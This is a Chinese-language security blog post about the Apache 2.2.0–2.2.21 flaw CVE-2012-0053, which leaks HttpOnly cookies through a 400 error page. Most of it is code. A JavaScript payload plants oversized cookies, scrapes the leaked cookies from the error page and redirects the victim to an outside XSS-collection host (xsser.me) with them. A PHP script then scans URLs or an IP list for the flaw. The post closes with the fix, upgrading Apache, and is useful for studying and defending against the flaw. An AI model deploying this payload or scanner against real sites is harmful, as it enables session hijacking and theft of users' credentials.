Apache服務器2.2.0-2.2.21版本存在一個漏洞(CVE-2012-0053),攻擊者可通過給網站植入超大的Cookie,使得HTTP頭超過apache的LimitRequestFieldSize(最大請求長度)4192字節,apache便會返回400錯誤,狀態頁中就包含了http-only保護的cookies。
老外在exploit-db上公布了測試apache站點是否有這個問題的js代碼。
http://www.exploit-db.com/exploits/18442/
代碼稍微改一下就可以是一個收取cookie的exp了,看一下xsser.me的模塊:
#!javascript
function setCookies() {
/*apache server limit 8192*/
var str = "";
for (var i = 0; i < 819; i++) {
str += "x";
}
for (i = 0; i < 10; i++) {
var cookie = "ray" + i + "=" + str + ";path=/";
document.cookie = cookie;
}
}
function parseCookies() {
if (xhr.readyState === 4 && xhr.status === 400) {
var content = xhr.responseText.replace(/\r|\n/g, '').match(/<pre>(.+)<\/pre>/);
content = content[1].replace("Cookie: ", "");
cookies = content.replace(/ray\d=x+;?/g, '') try {
var myopener = '';
myopener = window.parent.openner.location;
var myparent = '';
myparent = window.parent.location;
} catch(err) {
myopener = '0';
myparent = '0';
}
window.location = 'http://xsser.me/index.php?do=api&id={projectId}&location=' + escape(document.location) + '&toplocation=' + escape(myparent) + '&cookie=' + escape(cookies) + '&opener=' + escape(myopener);
}
}
setCookies();
var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("POST", "/?" + Math.random(), true);
xhr.send(null);
在執行這段代碼后,會種下10個819字節長的cookie,使得請求頭超過最大請求長度,然后發起一次POST請求,待服務器返回400錯誤后從狀態頁中正則提取出經http-only保護的cookies。
關于此漏洞的利用,烏云上也有相關案例,如:
其實最經典的案例要數這個了:
微博本身重要的cookie都設置了httponly,但是有一個域名下有這個apache漏洞。
剛好也有一個flash的xss,導致了此事件的發生。
這個漏洞再次證明了:
本來是一個正常的功能,可因為設計不當成了XSS的幫兇。
下面的代碼是之前的簡單的寫了一個驗證是否存在這個漏洞的php腳本。
各位有需要的可以拿去使用下,現在估計存在這個問題的不多了,去年剛出來的時候可是大片存在。
#!php
<?php
//生成構造特殊cookie
function cookie () {
$str = "";
for ($i=0; $i< 819; $i++) {
$str .= "x";
}
$cookie= "secdragon=secdragon;path=/";
for ($i = 0; $i < 10; $i++) {
$cookie .= "xss".$i."=".$str.";path=/";
}
return $cookie;
}
//獲取url,發包判斷返回狀態及結果
function my_get_http_result($url){
if (empty($url)){
return false;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_COOKIE, cookie());
$result = curl_exec($ch);
$info = curl_getinfo($ch);
curl_close($ch);
if( $info['http_code'] == "400" )
return $result;
else{
return '';
}
}
//判斷是否成功獲取cookie
function check($url){
$a=my_get_http_result($url);
if(strpos($a,'secdragon=secdragon'))
echo $url.':success!'."<br/>";
else{
echo $url.':failed!'."<br/>";
}
}
//獲取需檢測ip,也可將ip放在同目錄下的ip.txt中,一行一個ip
$url=(@$_GET['url'])?$_GET['url']:@$argv[1];
if(!$url){
$fp=fopen('ip.txt','r+');
while($ipstr=fgets($fp)){
if(preg_match('#[\w\.]+#',$ipstr,$match)){
check($match[0]);
}
}
}else{
check($url);
}
?>
Apache2.2.22及以上版本已經修復此問題,升級即可解決。